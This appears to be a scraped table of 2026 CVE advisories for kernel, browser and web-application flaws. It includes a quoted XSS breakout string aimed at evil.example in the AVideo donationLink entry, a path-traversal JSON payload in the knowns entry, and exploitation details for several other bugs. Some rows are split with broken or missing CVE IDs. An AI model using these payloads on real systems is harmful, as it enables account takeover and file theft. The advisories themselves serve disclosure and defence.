CVE-2026-80914	In the Linux kernel, the following vulnerability has been resolved: Bluetooth: ISO: fix use-after-free of listener socket in iso_conn_ready iso_conn_ready() looks up the BIS listener socket with iso_get_sock(), which takes a reference, and then, without re-checking its state, creates a child socket from it: parent = iso_get_sock(hdev, ...); if (!parent) return; lock_sock(parent); sk = iso_sock_alloc(sock_net(parent), NULL, BTPROTO_ISO, ...); ... iso_chan_add(conn, sk, parent); ... release_sock(parent); sock_put(parent); If the listener socket is closed concurrently, between iso_get_sock() and lock_sock(), the reference taken by iso_get_sock() may be the last one: the close path drops the link-list reference, and once iso_conn_ready() drops its own reference at the end of the function the socket is freed. The child socket, however, is already linked to the freed parent, and a later disconnect of the child runs iso_chan_del() -> bt_accept_unlink(), which dereferences the dangling parent pointer into the freed accept queue (a use-after-free). The same dangling pointer is also dereferenced through parent->***() in iso_chan_del(). Fix it the same way the connected (non-BIS) path was fixed in commit 0d255e63fcf3 ("Bluetooth: ISO: hold sk properly in iso_conn_ready"): after taking the socket lock, re-check that the parent is still a listening, alive socket, and bail out otherwise.	8.8	More Details
CVE-2026-87444	Memory corruption in Codecs in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-90770	Spug through 3.4.0 contains a remote code execution vulnerability in the ping_check function that interpolates user-supplied monitor addresses directly into shell commands without validation. Authenticated users with monitor permissions can inject shell metacharacters via the /monitor/run_test/ endpoint to execute arbitrary commands as the Spug process user.	8.8	More Details
CVE-2026-81640	An attacker could derive the camera's Wi-Fi password and connect to its wireless network. This weakens or eliminates the security value of the access-point password and may expose the live video stream, device services, status interfaces, and firmware-update functionality.	8.8	More Details
CVE-2026-90493	A vulnerability was detected in Tonec Internet Download Manager up to 6.42 Build 63 on Windows. The impacted element is an unknown function of the file idmwfp.sys of the component Kernel Driver. The manipulation results in improper access controls. Attacking locally is a requirement. Internet Download Manager for Windows up to and including 6.42 Build 63 installs idmwfp.sys, a Windows kernel driver that exposes the \.\IDMWFP device interface to authenticated local users. The device object is created with an access control descriptor equivalent to D:P(A;;GA;;;AU), granting Authenticated Users generic access to the driver. The driver's IOCTL 0x12C028 handler accepts registry-operation subcommands 0x0C through 0x0F and processes caller-controlled registry paths and values. These handlers do not authenticate the caller, do not enforce the caller's registry permissions, and do not restrict operations to IDM-owned registry namespaces. A low-privileged local authenticated user can therefore read, create, modify, and delete arbitrary registry values under HKLM and HKU through the kernel driver. This includes registry configuration consumed by privileged Windows services and drivers and enables Local Privilege Escalation, high-privilege persistence, unauthorized system configuration disclosure or modification, and compromise of system confidentiality, integrity, and availability. Exploitation requires local access, low privileges, and no user interaction. A public proof of concept is available. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.	8.8	More Details
CVE-2026-89534	In the Linux kernel, the following vulnerability has been resolved: svcrdma: Clear sc_cm_id when ADDR_CHANGE replacement fails When svc_rdma_listen_handler() handles RDMA_CM_EVENT_ADDR_CHANGE, it creates a replacement listener cm_id and returns 1, telling the CM core to destroy the old one. If the replacement allocation fails, sc_cm_id still points at the old cm_id that the CM core is about to destroy. Any subsequent dereference of sc_cm_id -- such as svc_rdma_detach()'s rdma_disconnect() call -- is a use-after-free. NULL sc_cm_id on the failure path and guard svc_rdma_detach()'s rdma_disconnect() call against NULL so that the listener can be torn down safely when the server shuts down.	8.8	More Details
CVE-2026-87460	Use after free in Platform in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-88271	GeoVision GV-LPC2211 V1.13 allows a Guest user to overwrite device configuration and replace the administrator password through SSVR.	8.8	More Details
CVE-2026-90777	ESPnet before 202609 deserializes pretrained model checkpoints using torch.load with weights_only=False, allowing arbitrary code execution from attacker-supplied files. Attackers can craft malicious checkpoint files that execute code during deserialization when loaded through the initialization or fine-tuning path.	8.8	More Details
CVE-2026-88277	GeoVision GV-LPC2211 V1.13 allows an authenticated ONVIF user to inject shell commands through ConsumerReference.Address and execute arbitrary commands as root.	8.8	More Details

CVE-2026-89569	In the Linux kernel, the following vulnerability has been resolved: Bluetooth: RFCOMM: serialize security confirmation handling rfcomm_security_cfm() looks up a session on session_list and then walks its DLC list without holding rfcomm_mutex. Since RFCOMM session teardown uses rfcomm_mutex, krfcommd can close and free the same session and DLCs concurrently: hci_rx_work krfcommd ---------- --------- rfcomm_session_get() rfcomm_lock() rfcomm_session_close() rfcomm_dlc_unlink() rfcomm_session_del() kfree(s) rfcomm_unlock() walk s->dlcs The callback can then read a freed session list head and touch freed DLCs while updating their flags or timers. Serialize the session lookup and DLC traversal in rfcomm_security_cfm() with rfcomm_mutex. This matches the existing RFCOMM session lifetime rules and prevents concurrent rfcomm_session_del() / rfcomm_dlc_unlink() from tearing the objects down while the callback is using them. KASAN reported: BUG: KASAN: slab-use-after-free in rfcomm_security_cfm+0x41c/0x440 Read of size 8 at addr ffff888111fb3960 by task kworker/u17:1/89 Workqueue: hci0 hci_rx_work Call Trace: rfcomm_security_cfm+0x41c/0x440 hci_encrypt_cfm+0x139/0x590 hci_encrypt_change_evt+0x37b/0xc40 hci_event_packet+0x71b/0xb20 hci_rx_work+0x293/0x730 Allocated by task 69: rfcomm_session_add+0x9e/0x2f0 rfcomm_run+0x44b/0x41e0 Freed by task 69: kfree+0x131/0x3c0 rfcomm_session_del+0x188/0x220 rfcomm_run+0x1985/0x41e0	8.8	More Details
CVE-2026-89601	In the Linux kernel, the following vulnerability has been resolved: ext2: Fix lost inode updates for IS_SYNC inodes ext2_setsize() and ext2_xattr_set2() had a construct like: if (IS_SYNC(inode)) { sync_inode_metadata(inode, 1); } else { mark_inode_dirty(inode); } which leads to lost inode updates for IS_SYNC inodes because sync_inode_metadata() does anything only if the inode is already dirty and hence inode updates may be simply lost. Fix the problem by unconditionally marking the inode dirty and *then* call sync_inode_metadata().	8.8	More Details
CVE-2026-88862	Capgo (capgo.app) backend through 12.242.4 does not validate parent-child delegation when processing the x-limited-key-id header. checkKeyByIdPg() in supabase/functions/_backend/utils/hono_middleware.ts resolves the attacker-supplied numeric API key ID using only the key ID, its expiration state, and the authenticating key's user_id, while hasLimitedRbacSubkeyScope() accepts any key with a non-organization (e.g., app-scoped) RBAC binding and validateSubkeyUser() only compares owning user IDs. Because Capgo treats API keys as independent RBAC principals with separate role bindings, an authenticated apikey_manager API key with no application access can supply the numeric ID of a more privileged same-owner key and have the middleware replace the authenticated principal and effective API-key secret with that key (setSubkeyAuthContext), exercising an app_admin sibling's permissions without knowing or submitting its secret. The issue was reproduced on release 12.242.4 (commit b3d02cdbc23ac59990785acacd1f113c07458568) after the fix for GHSA-8h52-44r7-w343; at the time of the advisory no patched version was available.	8.8	More Details
CVE-2026-87491	Out of bounds write in V8 in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	8.8	More Details
CVE-2026-87433	Race condition in FileAPI in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)	8.8	More Details
CVE-2026-64836	ICEcoder versions through 8.1 contain a path traversal vulnerability in the file-control endpoint due to a logic error in the document-root confinement check. The File::check() validation function compares realpath() to boolean true, which never succeeds, allowing authenticated attackers to submit traversal sequences or absolute paths in the file parameter to read, write, or delete files outside the configured document root.	8.8	More Details
CVE-2026-80921	In the Linux kernel, the following vulnerability has been resolved: KVM: s390: vsie: zero stale crypto bits When shadowing crypto access bits from a format0 apcb (crycb 0 or 1), the bits 64..255 are unchanged from whatever is in the vsie page in the crycb and thus in the apcb. This gives a nested guest potential access to a device no longer available. Zero out the remaining bits.	8.8	More Details
CVE-2026-64837	ICEcoder through 8.1 passes an unescaped filesystem path into a shell command in lib/properties.php, allowing authenticated users to inject OS commands through directory names. Attackers can create directories with shell metacharacters in their names and access the Properties function to execute arbitrary commands as the web-server user via popen().	8.8	More Details
CVE-2026-87489	Memory corruption in V8 in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted Chrome extension. (Chromium security severity: Low)	8.8	More Details
CVE-2026-87430	Buffer overflow in WebRTC in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)	8.8	More Details
	In the Linux kernel, the following vulnerability has been resolved: RISC-V: KVM: Fix PMU event info array size overflow SBI PMU EVENT_GET_INFO stores guest-controlled num_events * sizeof(*einfo) in a 32-bit integer. On RV64, num_events = 0x10000001 makes 0x100000010 truncate to 16. KVM then allocates one entry but loops over the original num_events, causing out-of-bounds reads and writes. A nested guest triggered: BUG: KASAN: slab-out-of-bounds in kvm_riscv_vcpu_pmu_event_info+0xa4/0x142 Read of size 4 at addr		

CVE-2026-89513	ff600000074d46b0 by task init/1 Call Trace: [<ffffffff8006471c>] kvm_riscv_vcpu_pmu_event_info+0xa4/0x142 [<ffffffff800690c0>] kvm_sbi_ext_pmu_handler+0xca/0x268 [<ffffffff8006779e>] kvm_riscv_vcpu_sbi_ecall+0xec/0x1e6 [<ffffffff8006008c>] kvm_riscv_vcpu_exit+0x48c/0x540 [<ffffffff8005ea0a>] kvm_arch_vcpu_ioctl_run+0x37e/0xc80 Allocated by task 1: __kmalloc_noprof+0x19e/0x4b0 kvm_riscv_vcpu_pmu_event_info+0x72/0x142 kvm_sbi_ext_pmu_handler+0xca/0x268 kvm_riscv_vcpu_sbi_ecall+0xec/0x1e6 kvm_riscv_vcpu_exit+0x48c/0x540 kvm_arch_vcpu_ioctl_run+0x37e/0xc80 The buggy address is located 0 bytes to the right of allocated 16-byte region [ff600000074d46a0, ff600000074d46b0) Store the shared-memory size in size_t and reject multiplication overflow. Allocate the guest-driven array with GFP_KERNEL_ACCOUNT so it is charged to kmemcg, and use __GFP_NOWARN to suppress allocation failure warnings. Use kvcalloc() to allow vmalloc fallback and an unsigned long loop index to match num_events.	8.8	More Details
CVE-2026-87440	Out of bounds read in Media in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-87995	Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.8.11 until 0.11.1, src/lib/components/chat/FileNav/PortPreview.svelte rendered terminal port content in an iframe sandbox containing both allow-scripts and allow-same-origin. Because the terminal proxy serves that content from the Open WebUI origin, an authenticated user with access to a shared terminal server could host script on a previewed port and take over a victim's account when the victim opened the preview. This issue is fixed in version 0.11.1.	8.7	More Details
CVE-2026-90561	Strapi versions 4.x through 4.26.2 and 5.x before 5.48.1 contain a stored cross-site scripting vulnerability in the content manager WYSIWYG preview component that fails to strip script tags from rich text. An Author-role user can store malicious script tags in rich text fields that execute in an Editor or Super Admin's session when the preview pane is expanded, enabling account takeover.	8.7	More Details
CVE-2026-87815	SiYuan versions before v3.8.2 contain a path traversal vulnerability in the /api/riff/removeRiffDeck endpoint that fails to validate the deckID parameter. An authenticated administrator can supply path traversal sequences to delete arbitrary .deck and .cards files outside the workspace directory.	8.7	More Details
CVE-2026-89256	AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a stored cross-site scripting vulnerability in the Bookmark plugin where chapter names are not encoded before being concatenated into public watch-page HTML. A video owner can inject malicious scripts via the bookmark name parameter, and every visitor of that video executes the payload in the AVideo origin.	8.7	More Details
CVE-2026-89253	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a stored cross-site scripting vulnerability in the user 'donationLink' profile field. User::setDonationLink() (objects/user.php) stores the value and save() validates it only with filter_var(..., FILTER_VALIDATE_URL), which accepts strings such as http://evil.example/"onmouseover=alert(document.domain)//, while getDonationLink() applies only strip_tags() and does not encode double quotes. plugin/CustomizeUser/actionButton.php echoes the value unencoded into an <a href="..."> attribute, and that button is included from view/modeYoutubeBottom.php on the watch page when the CustomizeUser option allowDonationLink is enabled. An authenticated user who updates their own profile via objects/userUpdate.json.php can therefore break out of the href attribute and inject an event handler that executes JavaScript in the browser of any visitor—including an administrator—who views the attacker's videos and interacts with (for example, hovers over) the donation button. The issue was unfixed at the time of reporting.	8.7	More Details
CVE-2026-88866	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a stored cross-site scripting vulnerability in the LoginControl plugin that fails to encode the User-Agent header before storing it in login history. Attackers with any valid login account can inject malicious scripts in the User-Agent header that execute in administrator browsers when viewing the Login History page, allowing script execution within the administrator session.	8.7	More Details
CVE-2026-89255	AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a stored cross-site scripting vulnerability in the LoginControl plugin that fails to HTML-encode PGP public keys echoed into a textarea element. An authenticated attacker can inject malicious JavaScript by submitting a crafted public key, which executes in an administrator's session when viewing the user's profile tab.	8.7	More Details
CVE-2026-89254	AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a stored cross-site scripting vulnerability in the CustomizeUser plugin where the field_name parameter is stored raw without sanitization. Administrators can inject malicious scripts via the add.json.php endpoint that execute when viewing extra info pages or profile forms that render the typeToHTML function.	8.7	More Details
CVE-2026-89249	AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a stored cross-site scripting vulnerability in the YPTWallet plugin where user-supplied CryptoWallet values are base64-encoded but not HTML-escaped before storage in wallet_log.information. Administrators viewing pending withdrawal requests in pendingRequests.php execute the stored markup in their session, allowing attackers to perform administrative actions via same-origin fetch requests.	8.7	More Details
CVE-	AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a stored cross-site scripting		

2026-88868	vulnerability in the LiveLinks plugin where title and description fields are stored without sanitization. A user with canStream permission can inject malicious scripts that execute in the browser of every visitor viewing the live-link page, including administrators, within the site origin.	8.7	More Details
CVE-2026-88867	WWBN AVideo, in versions up to and including commit c3edcc274c389816d434acadac07ee78eaf330c1, contains a stored cross-site scripting vulnerability. objects/categoryAddNew.json.php passes the POST parameters `name` and `iconClass` to Category::setName() and Category::setIconClass(), which store the values without sanitization (setName only truncates to 45 characters). The category name is later echoed as HTML text and iconClass is echoed into a class attribute in view/modeYoutubeBottom.php and in Gallery cards (plugin/Gallery/functions.php). When the CustomizeUser option usersCanCreateNewCategories is enabled, any authenticated user with canUpload permission (granted by default via self-registration) can create a category containing a JavaScript payload; the payload then executes in the browser of any visitor, including administrators, who views a watch page or gallery entry for a video assigned to that category, allowing actions such as authenticated requests with the victim's session. The issue was unpatched at the time of reporting.	8.7	More Details
CVE-2026-88887	Renovate is a dependency update automation tool. When listing tags/digests for a container image, Renovate follows pagination links supplied by the remote registry in the HTTP Link header and attaches the registry credentials to the follow-up request without verifying that the pagination URL has the same origin as the original registry. A malicious or compromised container registry can therefore specify a Link header pointing to an attacker-controlled host and receive the credentials Renovate uses for that registry. Exploitation requires that the target has container (Docker) dependencies and is already interacting with the malicious or compromised registry. This is fixed in Renovate 44.11.2 (npm and renovate/renovate images), Mend Renovate CE/EE 15.4.0 and the mend-renovate-enterprise-edition Helm chart 10.4.0; the same-origin check can be disabled with RENOVATE_X_DOCKER_PAGINATION_ALLOW_CROSS_ORIGIN.	8.6	More Details
CVE-2026-49310	Permission control vulnerability in the event notification module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.	8.6	More Details
CVE-2026-79322	SQL injection in the RelatedProduct block in Mageplaza Blog for Magento 2 (mageplaza/magento-2-blog-extension) through 4.3.2 allows remote unauthenticated attackers to execute arbitrary SQL commands and read arbitrary database contents via the id parameter to /mpblog/post/view.	8.6	More Details
CVE-2026-14962	The ELEX WooCommerce Request a Quote WordPress plugin before 2.4.1 does not properly sanitise and escape a parameter before using it in a SQL query, allowing unauthenticated users to perform SQL injection attacks and extract arbitrary data from the database.	8.6	More Details
CVE-2026-81789	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Studio Wombat Advanced Product Fields Extended for WooCommerce allows Path Traversal. This issue affects Advanced Product Fields Extended for WooCommerce: from n/a through 3.1.6.	8.6	More Details
CVE-2026-81213	IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote attacker to obtain sensitive information from internal network resources due to improper validation of user-supplied URLs.	8.6	More Details
CVE-2026-88882	Renovate is a dependency update automation tool. In versions before 44.11.2 (and Mend Renovate CE/EE images and charts before 15.4.0, and mend-renovate-enterprise-edition helm chart before 10.4.0), when listing new package versions from a NuGet registry Renovate follows pagination URLs supplied by the registry in the HTTP `Link` header without verifying that the target has the same origin as the configured registry. Registry credentials are attached to the request for the 'next' page, so a malicious or compromised NuGet registry can return a `Link` header pointing at an attacker-controlled server and cause Renovate to send the registry credentials to that server. Exploitation requires the remote registry to be malicious or compromised; such a registry would normally already have received the credentials on the initial request, so the issue primarily allows the credentials to be delivered to an additional, attacker-chosen host. The fix restricts pagination to the same origin; the previous behaviour can be re-enabled with the RENOVATE_X_NUGET_PAGINATION_ALLOW_CROSS_ORIGIN option.	8.6	More Details
CVE-2026-88881	Renovate, a dependency update tool, follows pagination links supplied by the GitHub server in the HTTP `Link` header when interacting with GitHub.com, GitHub Enterprise Cloud, or GitHub Enterprise Server, and sends the credentials configured for that host to the URL given as the 'next' page. Because the pagination URL is not validated against the host originally contacted, a malicious or compromised GitHub server can return a `Link` header pointing to an attacker-controlled host and cause Renovate to disclose those credentials to it. Exploitation requires that the GitHub server Renovate talks to (as the repository host or as a datasource such as github-releases, github-tags, or git-refs) is already malicious or compromised. The issue is fixed in renovate 44.11.3 (npm and renovate/renovate container images), Mend Renovate CE/EE images and the mend-renovate-ce helm chart 15.4.0, and the mend-renovate-enterprise-edition helm chart 10.4.0. There is no workaround; the pre-existing RENOVATE_X_REBASE_PAGINATION_LINKS option disables the new host check and should only be used with servers that intentionally use different pagination hosts.	8.6	More Details
	knowns (npm package) versions <= 0.29.1 contain a path traversal vulnerability in the Document API. The HTTP handler in internal/server/routes/docs.go normalizes the user-supplied document path with		

CVE-2026-86775	cleanDocPath(), which strips leading/trailing slashes and the .md suffix but does not neutralize ../ traversal sequences, and internal/storage/doc_store.go then builds the target path with filepath.Join(ds.docsDir(), filepath.FromSlash(doc.Path)+".md") without verifying that the resolved path remains inside the documents directory. In the default deployment, where the Management API is unauthenticated and bound to all interfaces, a remote unauthenticated attacker can supply a traversal payload (for example {"path": "../../../../tmp/knowns_pwn_marker"} to POST /api/docs, or an encoded path to GET /api/docs/...) to read, create, overwrite, or delete arbitrary files with a .md extension anywhere on the host filesystem and to create arbitrary directories via os.MkdirAll. This can expose sensitive data stored in other projects' documentation, corrupt or destroy files, and provide an arbitrary-write primitive that may be chained toward code execution. The issue is fixed in version 0.30.0.	8.6	More Details
CVE-2026-80491	The SAMO Forms WordPress plugin through 1.0.0 does not properly sanitise and escape user input before using it in SQL queries in several unauthenticated actions, allowing unauthenticated attackers to perform SQL injection attacks.	8.6	More Details
CVE-2026-89212	A flaw resulting in XML external entity (XXE) was found in Akana API Platform in which references were improperly restricted during XML-to-JSON processing. The issue affects Akana versions 2026.1, 2025.1.1, and all versions before 2024.1.6 (including older unsupported versions of Akana) and has been fixed as a security patch in the latest release of supported versions.	8.6	More Details
CVE-2026-87633	Use after free in Views in Google Chrome prior to 153.0.8010.36 allowed a local attacker to execute arbitrary code outside the sandbox via UI Interaction. (Chromium security severity: High)	8.6	More Details
CVE-2026-84047	The Album Cover Finder WordPress plugin through 0.7.0 does not properly sanitize and escape a parameter before using it in a SQL query, allowing unauthenticated users to perform SQL injection attacks.	8.6	More Details
CVE-2026-84068	The Quentn WP WordPress plugin before 1.2.15 does not adequately escape a request parameter before using it in an unprepared SQL query, allowing unauthenticated attackers to extract arbitrary data from the database via SQL injection.	8.6	More Details
CVE-2026-80494	The Yogeta WP Cloud WordPress plugin through 1.0 does not validate a user-supplied file path before passing it to a file-read function on a public endpoint that lacks any authorization check, allowing unauthenticated attackers to download arbitrary files from the server, including files containing sensitive credentials.	8.6	More Details
CVE-2026-85217	A maliciously crafted add-in, when installed and executed in Autodesk Fusion Desktop, can modify persistent network proxy settings without user notification or consent. A successful exploit may allow an attacker to redirect authenticated Fusion network traffic through an attacker-controlled proxy, potentially exposing sensitive information with the current user.	8.6	More Details
CVE-2026-88880	Renovate before 44.11.3 fails to validate Link header destinations when following GitLab server pagination, allowing malicious servers to redirect credential-bearing requests. Attackers controlling a compromised GitLab server can specify a Link header pointing to attacker-controlled infrastructure to exfiltrate authentication credentials.	8.6	More Details
CVE-2026-87030	Tanium addressed a path traversal vulnerability in Comply.	8.5	More Details
CVE-2026-81207	IBM DataStage on Cloud Pak for Data 5.4.0.0 allows any authenticated tenant — with no project membership or role — fully controls scheme/host/port/path of an outbound fetch originating from a shared-infrastructure pod, and the WSDL body is reflected verbatim to the caller. The ds-canvas pod sits on the OpenShift overlay with reach to co-tenant services, in-cluster CP4D APIs, and link-local addresses. Scope is Changed, confidentiality High (response-reflecting), integrity Low (GET-only side-effects).	8.5	More Details
CVE-2026-87023	Tanium addressed a path traversal vulnerability in Comply.	8.5	More Details
CVE-2026-80436	IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to cause a denial of service by deleting arbitrary RabbitMQ queues or exchanges due to improper authorization.	8.5	More Details
CVE-2026-80378	IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to cause a denial of service due to improper authorization.	8.5	More Details
CVE-2026-70341	Use after free in Microsoft Edge (Chromium-based) allows an authorized attacker to execute code over a network.	8.5	More Details

CVE-2026-81540	IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to overwrite ruleset files belonging to other tenants due to a path traversal vulnerability.	8.5	More Details
CVE-2026-88890	OpenPanel through commit cd24bb8 contains an SQL injection vulnerability in the analytics filter builder that fails to validate profile.* filter column identifiers before interpolating them into ClickHouse WHERE clauses. An authenticated attacker with project-scoped read or root export credentials can inject arbitrary ClickHouse SQL to bypass project isolation and read other organizations' analytics data and profile PII via blind boolean oracle techniques.	8.5	More Details
CVE-2026-86741	Snipe-IT versions before 8.7.0 fail to sanitize the category EULA text field before rendering it in checkout confirmation emails. Attackers with low-privilege permissions can inject markdown image syntax or raw HTML img tags pointing to local files or remote URLs, which the mail auto-embed library resolves server-side and returns as email attachments, exfiltrating sensitive files like .env credentials and enabling SSRF attacks.	8.5	More Details
CVE-2026-86751	Snipe-IT before 8.7.0 fails to properly sanitize markdown image syntax in note fields, allowing authenticated users to read arbitrary server files and issue server-side HTTP requests. Attackers can submit markdown image syntax in checkout acceptance notes that survive HTML escaping, are expanded by CommonMark parser, and resolved by laravel-mail-auto-embed via file_get_contents or curl, exfiltrating sensitive files like .env containing APP_KEY.	8.5	More Details
CVE-2026-71612	Buffer Overflow vulnerability in GPAC c2dee3aff638cd96f9617ac5b17dc2868cd90ef3 allows an attacker to execute arbitrary code via the nhntdmx_process() function. Fixed in fac50e6a12ac27ffabdd5d3080b51afcc44ad8d6.	8.4	More Details
CVE-2026-81012	In the Linux kernel, the following vulnerability has been resolved: platform/x86: hp-bioscfg: fix off-by-one write in hp_get_string_from_buffer() hp_get_string_from_buffer() clamps the converted string length against the destination buffer size with "size > dst_size", so when the converted length is exactly equal to dst_size, conv_dst_size is left at dst_size and the unconditional NUL terminator write dst[conv_dst_size] = 0; lands one byte past the destination buffer. This is the same shape of bug as the previously fixed off-by-one in hp_convert_hexstr_to_str(): the buffer is sized correctly for the content, but the terminator write is never checked against that size. Fix by changing the comparison to ">=" so conv_dst_size is always left with room for the terminator. All fixed-size destinations that reach this function (path[512], current_value[512], current_password/current_value[64], and the per-entry buffers in encodings[][512] and prerequisites[][512]) are affected.	8.4	More Details
CVE-2026-87794	bestzip versions 2.2.6 and 3.0.2 contain an argument injection vulnerability in the nativeZip function that allows attackers to inject arbitrary arguments to the Info-ZIP backend. Attackers can supply a malicious destination path combined with crafted source entries to execute arbitrary commands with Node.js process privileges. Fixed in 2.2.7 and 3.0.3.	8.4	More Details
CVE-2026-89603	In the Linux kernel, the following vulnerability has been resolved: entry: Fix seccomp bypass after ptrace with TSYNC Sashiko review pointed out the following issue. If a thread is stopped in syscall_trace_enter() for ptrace, another thread can install a seccomp filter with SECCOMP_FILTER_FLAG_TSYNC (e.g., via seccomp_attach_filter()). This will successfully set SYSCALL_WORK_SECCOMP on the stopped thread, but syscall_trace_enter() evaluates a cached 'work' variable sampled on entry. Consequently, the subsequent check for SYSCALL_WORK_SECCOMP misses the newly assigned flag, and the filter is silently bypassed. This race condition could allow an unprivileged process to execute a prohibited system call (e.g., execve) that the newly installed filter was intended to block, especially since the tracer might have modified the system call number during the ptrace stop. Fix this by re-reading the syscall_work flags after ptrace handling, so that any new SYSCALL_WORK_SECCOMP flag set by another thread via TSYNC during the ptrace stop is observed before the subsequent seccomp check.	8.4	More Details
CVE-2026-81004	In the Linux kernel, the following vulnerability has been resolved: ipmi:msghandler: Cancel work cleanly on an error If an error occurs during startup of an IPMI interface, it may have scheduled work to run. The work needs to be canceled before the interface can be freed.	8.4	More Details
CVE-2026-89504	In the Linux kernel, the following vulnerability has been resolved: regulator: as3722_get_regulator_dt_data: fix premature of_node_put leaving dangling of_node pointer In as3722_get_regulator_dt_data(), of_get_child_by_name() acquires a reference on np, which is then assigned to pdev->dev.of_node. The function immediately calls of_node_put(np), releasing the reference and leaving pdev->dev.of_node as a dangling pointer. Remove the of_node_put(np) call to let the device hold the reference.	8.4	More Details
CVE-2026-89744	In the Linux kernel, the following vulnerability has been resolved: device property: fix infinite loop in fwnode_for_each_child_node() When iterate over children of a fwnode that has a secondary fwnode, fwnode_get_next_child_node() can enter an infinite loop if the secondary fwnode has more than one child. Parent Child (Primary fwnode) FWa: {FWa1, FWa2, FWa3} (Secondary fwnode) FWb: {FWb1, FWb2} In this case: ┌─> fwnode_get_next_child_node(FWa, FWa1) │ - fwnode_call_ptr_op(FWa, get_next_child_node, FWa1) returns FWa2 │ │ ... │ │ fwnode_get_next_child_node(FWa, FWa3) │ - fwnode_call_ptr_op(FWa, get_next_child_node, FWa3) returns NULL │ - fwnode_call_ptr_op(FWb, get_next_child_node, FWa3) returns FWb1 │ │ fwnode_get_next_child_node(FWa, FWb1) │ - fwnode_call_ptr_op(FWa, get_next_child_node, FWb1) returns FWa1 └─────┘ This cause fwnode_for_each_child_node() to loop indefinitely, reapeatedly output	8.4	More Details

	{FWa1, FWa2, FWa3, FWb1, FWa1, ...}. The root cause is that when the current child (FWb1) belongs to the secondary fwnode, calling get_next_child_node() on the parimary fwnode incorrectly returns the first child (FWa1) again instead of NULL. Fix this by dynamically checking the parent fwnode of the current child before calling get_next_child_node(). This approach follows the pattern established in commit b5b41ab6b0c1 ("device property: Check fwnode->secondary in fwnode_graph_get_next_endpoint()").		
CVE-2026-80953	In the Linux kernel, the following vulnerability has been resolved: i3c: master: adi: initialize the lock before enabling interrupts adi_i3c_master_probe() requests the IRQ and unmasks REG_IRQ_PENDING_CMDR before the controller's IBI state, transfer queue list and transfer queue lock are initialized. A pending CMDR interrupt can therefore run adi_i3c_master_irq() and take master->xferqueue.lock before the dynamic lock has been initialized. This issue was found by our static analysis tool and then manually reviewed against the current tree. The grounded PoC kept the probe ordering and the IRQ path adi_i3c_master_probe() -> adi_i3c_master_irq() -> xferqueue.lock, with a pending CMDR interrupt arriving after REG_IRQ_PENDING_CMDR is unmasked. Lockdep reported: INFO: trying to register non-static key. you didn't initialize this object before use? lock_acquire+0xbb/0x290 _raw_spin_lock_irqsave+0x36/0x60 adi_i3c_master_irq+0x32/0x56 [vuln_msv] adi_i3c_master_probe+0x5a/0xf47 [vuln_msv] Initialize the transfer queue and IBI state before requesting and unmasking the IRQ.	8.4	More Details
CVE-2026-89599	In the Linux kernel, the following vulnerability has been resolved: fbdev: omapfb: panel-dsi-cm: initialize lock before registering display dsicm_probe() registers the display before initializing ddata->lock. Once omapdss_register_display() publishes the display, another consumer can reach a dsicm callback that takes this mutex while it is still uninitialized. Initialize the mutex before registering the display so the published callbacks always see a valid lock.	8.4	More Details
CVE-2026-7863	Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus Software allows OS Command Injection. This issue affects Pardus Software: before 1.0.5.	8.4	More Details
CVE-2026-89465	In the Linux kernel, the following vulnerability has been resolved: power: supply: rt9455: quiesce delayed work before teardown The threaded IRQ handler can queue pwr_rdy_work, max_charging_time_work and batt_presence_work. pwr_rdy_work and batt_presence_work can also queue max_charging_time_work, while batt_presence_work can requeue itself. rt9455_remove() cancels max_charging_time_work before batt_presence_work. The latter can therefore queue max_charging_time_work after it has already been cancelled: rt9455_remove() workqueue cancel pwr_rdy_work cancel max_charging_time_work batt_presence_work queues max_charging_time_work cancel batt_presence_work return devres frees rt9455_info max_charging_time_work dereferences rt9455_info The IRQ also remains registered until devres cleanup and can queue more work after any of the cancellation calls. If rt9455_hw_init() fails after the IRQ has been requested, probe returns without cancelling work that may already have been queued. A pending callback can then access rt9455_info after it has been freed. Register rt9455_cancel_all_delayed_works() through devm_add_action_or_reset() right after devm_power_supply_register(). devres invokes the action in reverse registration order, after the managed IRQ has been freed and before rt9455_info is released, so the delayed works are drained in both rt9455_remove() and the probe error path. Cancel pwr_rdy_work and batt_presence_work before max_charging_time_work because both can queue the latter. This issue was found by an in-house static analysis tool.	8.4	More Details
